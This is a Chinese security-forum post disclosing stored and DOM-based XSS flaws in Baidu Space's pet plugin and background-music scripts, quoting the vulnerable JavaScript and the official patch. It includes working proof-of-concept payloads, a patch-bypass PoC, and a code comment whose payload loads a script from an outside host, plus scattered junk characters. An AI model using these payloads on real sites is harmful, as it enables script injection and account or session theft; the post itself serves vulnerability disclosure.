找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  4 j" x+ t) F) V8 C

  y* w) ~: \7 Q: j7 |0 U1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  $ o! k3 a7 n. N; k
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  ; {; x5 ~3 D+ L6 j

: _% D8 U" Z6 x$ K8 z* t( l  L将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  6 x' q$ @3 F3 r' P6 D$ C# ?
其中BdUtil.insertWBR为  * m! O6 U4 x/ I2 H. _- V- C
function(text, step) {  ' K" d3 C4 G& E; h
    var textarea = textAreaCache || getContainer();  
) }; u  d' K( T    if (!textarea) {  
7 I+ C! }  J& I& \        return text;  
& A' I9 L; R  a1 u( N    }  
/ V5 H3 q% I3 g3 u% G5 x- t  d7 x    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
( \1 z$ O" l( S# K9 C    var string = textarea.value;  
3 H4 D5 ]6 G/ \    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  6 b4 f* O3 h7 u  ]9 _+ M+ C
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  & k7 R) s% j! V; O' i- _
    return result;  
0 \( H1 ~. F7 K+ _* Q: V3 Y}  5 x: ?' P9 w, Q6 _! |0 R
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  $ O3 B. Y1 y( Y; W6 [2 D
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
, F  _7 B# b- ?& E   , Y- \! f; v/ s! i
二:creatbgmusic() Dom-Xss Bug  ' Q  e# V2 p! C. r
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  . Y: I# H% C: y  B" X3 c) m

- c, A8 [1 J% }在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
% t8 v9 i* e- y, G/ a$ `$ h9 \
9 a2 s, f+ z2 O6 @9 ^" Afunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
) J) C* E' Y$ W3 m" m    //传入的murl赋值到bgmusic1和bgmusic2中  8 Y8 g4 `& x# b) p6 P
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
( k* Y' |+ K2 Y: t    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
" K/ ]" p- q5 |0 O7 ^4 A! a+ S( B    if (musicnum <= 1) {  ( J3 i1 L, `- V' ]
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
# T3 I6 I8 [( U. x+ r0 X    }  
- K1 u5 C: k- L, T4 K; |- u    bgmusic1 += "</OBJECT>";  1 F7 q, F' P/ U0 C9 {
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
, Q/ Y3 T2 X- \& N    if (musicnum <= 1) {  
: |8 F. g# ?& @. m8 Y        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";    I7 K2 Y- r3 W7 f/ I. [
    }  
6 o) z* e# o7 ]( x2 @3 l$ f$ R    bgmusic2 += "> </EMBED>";  & |4 G3 j/ e/ ]! P! t" c* q. O. B
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
1 y4 k0 ]$ V4 y3 K    var bgmus = detectWMP();  0 B1 g/ v: O7 g, [8 o4 v9 ^
    if (functype == "FckMusicHelper") {  
* R! |2 ~0 D3 ~* L9 e        if (bgmus.installed) {  4 \: i, M/ R: Z0 }
            if (bgmus.type == "IE") {  
' _8 E" V+ P$ J, G' z                return bgmusic1;  : X, K. i# X5 h
            } else if (bgmus.type == "NS") {  
* A7 Y8 V, M6 |                return bgmusic2;  
9 Q% z3 r- K+ ]5 A( f            }  : R4 t& a! ~5 t9 ~$ T7 U
        } else {  ' g( p2 ?* D1 O
            return bgmusic3;  
2 |* d: ]+ L5 h, K( S8 s        }  
! |) \) W) q4 I. z) p2 k7 K    } else {  ' x% `% y) }. i
        if (bgmus.installed) {  & {1 x- U3 U: i+ _* P* U
            //document.write 直接输出bgmusic变量 导致xss  4 _- y  z; d1 k2 t, \' L
            if (bgmus.type == "IE") {  
/ K5 y9 B; `. i5 p1 V) H4 @" H# D/ d                document.write(bgmusic1);  3 K* n, d. v* ~0 M$ n& j" W
            } else if (bgmus.type == "NS") {  
% T* Q6 L8 s. k1 M- v# |                document.write(bgmusic2);    a( q- S5 E$ X' _, ^
            }  8 q& i' N" x2 j( G4 G1 u
        } else {  
6 t( w" b% T5 c" f9 p" n            document.write(bgmusic3);  
- ~) P' i$ b( z7 q2 Q        }  & r/ ~) l0 q2 Y$ Y
        return "";  2 w! G# S7 j- n+ J3 [. M$ W+ G
    }    [: V' K# A" r. N. l/ P* o: X
}  0 n, g+ x* F4 \* n( i

) e. j5 \- f0 a: D  l在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
, h2 h! h" L) m: k( I2 g6 s4 y1 m# e; B* m, @9 ~# @
function initBlogTextForFCK(){  
2 v- P7 C6 \  V- v( [7 A6 m) |//fck init music  2 c+ n; N! @# @1 U3 h
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  0 E7 {, D) {! |1 N4 |0 `- R2 W
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  : B  {1 E  v7 H5 d6 U) I
var isAutoPlay=true;  
8 `" ^2 X/ {0 Mfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  4 P1 q6 q3 l$ f) x
  var img=imgBox;  5 u* O' n0 J- d9 P6 J; [
  if(img.getAttribute(’rel’)){        
$ N4 L% w9 |( y   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  4 V$ D# F7 ^- e  L
   var musicDiv = document.createElement("SPAN");  . V7 a" F! F! X& S
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
6 h/ ]9 T0 Q- t* I     
. C1 p, u) z( L. {      ..........................  
) q. q; |6 {  a     
& H4 K. t! D8 T$ `8 ~- m   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   - s6 `+ x3 W/ `  d
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  ) d* R' J! a$ l" j2 e+ F- D
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  $ s4 O# y( F0 T" l- V% B, V. f
   musicDiv.innerHTML=shtml;  2 e. k" Y/ [3 v
   i--;n--;  6 V  B: h& u1 x4 ?
  }  . z! Z$ g" }0 N$ X- s! b6 g
}  
) m, R7 R1 ~  F! U1 o8 m: Z. o( C1 O
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  ) @6 R0 g9 _+ P  n
   + m% _# H7 F1 ?
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  ; M7 r+ d( q/ x- \

) v6 @. Q/ R6 |, ^等待官方补丁  
; M* S  X: P1 ^% R) p5 G4 e  C- \# V: s; u, k3 _9 g0 Z6 q, b
update 2010年5月13日   
3 w5 E  ?- {+ w  E& c0 B$ `/ b+ W3 b
官方补丁:  
6 k3 S& V4 c& e" v0 n4 `8 @- p+ }) S% [  c0 Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
4 y( R- L! ?) G- U改为:  , _1 ?, I. B# d
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
( \- k) o0 V3 M9 u1 U% v9 n  e1 `4 F
update 2010年5月13日 21:50:37    o* H/ G6 O2 e) o/ N
  C9 i8 x: i4 P6 I9 [
补丁存在漏洞 没有过滤" 可以继续跨:  9 L! k9 g7 @) n! K# C6 S

) b! B+ T" W4 L  A5 n( [5 a7 C; fNEW POC:  
& h$ E& R- @& A$ i, R+ W/ P; l1 f' D) m8 R9 d! T
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
2 y; P8 I. T8 N
, F" ]& R: l" _2 J7 kallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>! r& L. K2 l' F4 g  _

  B' u$ }. h3 p( ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表